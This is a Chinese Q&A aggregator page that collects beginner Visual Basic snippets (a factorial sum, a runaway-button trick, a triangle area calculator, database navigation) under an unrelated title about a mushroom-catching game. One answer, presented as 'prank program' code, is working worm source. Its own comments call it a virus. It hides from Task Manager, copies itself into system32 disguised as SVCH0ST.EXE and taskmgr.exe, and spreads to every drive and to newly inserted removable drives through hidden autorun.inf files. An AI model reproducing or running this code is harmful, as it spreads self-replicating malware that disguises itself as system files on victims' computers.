当前位置：首页 » APP程序 » vb小程序接蘑菇源代码

vb小程序接蘑菇源代码

发布时间: 2021-03-12 03:43:46

1。数字时钟

2。计算器

3。图片阅读器

4。文件搜索器

5。个人通讯录

你把这些做出来，你VB就明白了！！！！

㈡谁有vb小程序的源代码

兄弟这里有几千个VB源代码下载：
http://code.knowsky.com/down.asp?typeid=8

㈢求VB小程序代码

Private Sub Command1_Click()
Dim N As Long
Dim i As Long
Dim j As Long
Dim s As Long
Dim b As Long

N = Val(Text1.Text)
For i = 1 To N
b = 1
For j = 1 To i
b = b * j
Next j
s = s + b / (j - 1)

Next i
Text2.Text = s
End Sub

㈣在VB中,做一个小程序,请告诉我代码

这一种是当你的鼠标想去点击按钮1时就会随机跑动，不让人可以点到。
Dim CMD1 As Boolean'设置一个全局布尔变量
Private Sub Command1_Click()
CMD1 = True
End Sub

Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
If CMD1 = True Then
X = Rnd * (Form1.ScaleWidth - Command1.Width)
Y = Rnd * (Form1.ScaleHeight - Command1.Height)
Command1.Move X, Y
End If
End Sub

Private Sub Command2_Click()
CMD1 = False
End Sub

这一种是你点了按钮1后，这个接钮1就不停的去跑动让人很难点到。
Private Sub Form_Load()
Timer1.Interval = 100
Timer1.Enabled = False
End Sub
Private Sub Command1_Click()
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
End Sub

Private Sub Timer1_Timer()
Command1.Top = Me.ScaleHeight * Rnd
Command1.Left = Me.ScaleWidth * Rnd
End Sub

这两种方法的区别在于点击按钮1后，
第一种是你的鼠标是永远都点不到按钮1。
第二种是你有可能会点中。

㈤ vb实用小程序源代码

Private Sub mianji()
Dim a As Single, b As Single, c As Single
a = Val(InputBox("请输入三角形的边a:", "输入"))
b = Val(InputBox("请输入三角形的边b:", "输入"))
c = Val(InputBox("请输入三角形的边c:", "输入"))

If (a + b) <= c Or b + c <=a Or a + c <= b Then
MsgBox "三条边不能构成三角形,请重新输入!", , "注意"
Exit Sub
End If
q = (a + b + c) / 2
s = Sqr(q * (q - a) * (q - b) * (q - c))
Print "三角形的面积是: "; s
End Sub

这个是由键盘输入3个数，试编程判断它们是否可以构成一个三角形。如果能构成一个三角形，请计算该三角形的面积。

㈥求用VB编写一个小程序代码!

你文本文档中的文件名包含路径吗？包含后缀吗？
你要提取文件出来干嘛？

㈦求一些VB小程序代码

Q我459834574

㈧ vb整人小程序代码

Dim num, nums '驱动器数
Dim i As Integer '文件号
Dim j As Integer 'FOR用的变量!
Private Sub Form_Load() '程序初始化！
'不准重复运行本病毒！
If App.PrevInstance Then
End
End If
'在任务管理器中隐身！
App.TaskVisible = False
'病毒自我保护函数
a0
auts
'得到当前驱动器数！
a2
'设置时间：为5000 MS 检查一次(5秒)
t1.Interval = 5000
t1.Enabled = True
End Sub
Sub a0() '病毒自我保护函数
Dim temp As String
Dim temp2 As String
On Error Resume Next
temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
'得到系统目录！得到后，自我复制到SYSTEM32下！
For j = 0 To aa.ListCount - 1
temp2 = Trim(aa.List(j)) & "\windows"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
temp2 = Trim(aa.List(j)) & "\WINNT"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
GoTo zz1
Else
FileCopy temp, Trim(aa.List(j)) & "\winnt\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\dllcache\taskmgr.exe"
End If
Else
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\dllcache\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"
End If
zz1:
Next
End Sub
Sub a1() '感染函数
Dim temp As String
Dim temp2 As String
temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
For j = nums + 1 To num
temp2 = Trim(aa.List(j)) & "\auto.exe"
FileCopy temp, temp2
i = FreeFile
Open Trim(aa.List(j)) & "\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=auto.exe"
Close #i
SetAttr Trim(aa.List(j)) & "\autorun.inf", vbHidden
SetAttr Trim(aa.List(j)) & "\auto.exe", vbHidden
Next
End Sub
Sub a2() '得到当前驱动器数！
num = aa.ListCount - 1
If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End Sub
Private Sub t1_Timer() '时间函数
num = aa.ListCount - 1
i = FreeFile
Open "c:\.a" For Input As #i
Line Input #i, nums
Close #i
nums = Trim(nums)
nums = Int(nums)
If num <> nums Then
If num > nums Then
a1
End If
If num < nums Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End If
aa.Refresh
End Sub
Sub bat() '写自我删除程序
On Error Resume Next
i = FreeFile
Open App.Path & "\killme.bat" For Output As #i
Print #i, "@echo off"
Print #i, "sleep 1000"
Print #i, "del " & App.EXEName + ".exe"
Print #i, "del killme.bat"
Print #i, "cls"
Print #i, "exit"
Close #i
Shell App.Path & "\killme.bat", vbHide
End
End Sub
Sub auts() '自我感染全驱动器
On Error GoTo err1
Dim file_temp As String
i = FreeFile
Open "c:\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=autorun.exe"
Close #i
file_temp = Trim(App.Path & "\" & App.EXEName & ".exe")
FileCopy file_temp, "c:\autorun.exe"
SetAttr "c:\autorun.inf", vbHidden
SetAttr "c:\autorun.exe", vbHidden
Dim dirid As Integer
For dirid = 100 To 122
MsgBox Chr(dirid)
FileCopy "c:\autorun.exe", Chr(dirid) & ":\autorun.exe"
FileCopy "c:\autorun.inf", Chr(dirid) & ":\autorun.inf"
SetAttr Chr(dirid) & ":\autorun.inf", vbHidden
SetAttr Chr(dirid) & " :\autorun.exe", vbHidden
Next
err1:
End Sub

后缀改为vbs

㈨一个VB小程序的源代码~~~帮忙注释一下！！！！！高分！！在线等！！

Option Explicit

Private Sub Command1_Click() '通过对话框选择图片装载到Image1图像框
CDlg.FileName = ""
CDlg.ShowOpen
If CDlg.FileName <> "" Then
Image1.Picture = LoadPicture(CDlg.FileName)
End If
End Sub
Private Sub Command2_Click()
Data1.Recordset.AddNew '新增记录
End Sub
Private Sub Command3_Click()
With Data1.Recordset
.Delete '删除记录
.MoveNext '移动记录指针到下一条记录
If .EOF Then .MoveLast 'EOF 指示当前记录位置位于 Recordset 对象的最后一个记录之后
End With
End Sub
Private Sub Command4_Click()
Dim s As String
With Data1.Recordset
s = .Bookmark '返回唯一标识 Recordset 对象中当前记录的书签，或者将 Recordset 对象的当前记录设置为由有效书签所标识的记录。
.FindFirst Text4.Text
If .NoMatch Then
MsgBox "数据未找到"
.Bookmark = s
End If
End With
End Sub
Private Sub Command5_Click()
Dim s As String
With Data1.Recordset
s = .Bookmark
.FindNext Text4.Text
If .NoMatch Then
MsgBox "数据未找到"
.Bookmark = s
End If
End With
End Sub

Private Sub Form_Load()
Data1.DatabaseName = App.Path & "\MyData.mdb" '加在相对路径下MyData.mdb数据库
End Sub

Private Sub Label2_Click()

End Sub

㈩ vb小程序代码,

会告诉你的都会是有偿服务

阅读全文

vb小程序接蘑菇源代码

与vb小程序接蘑菇源代码相关的阅读推荐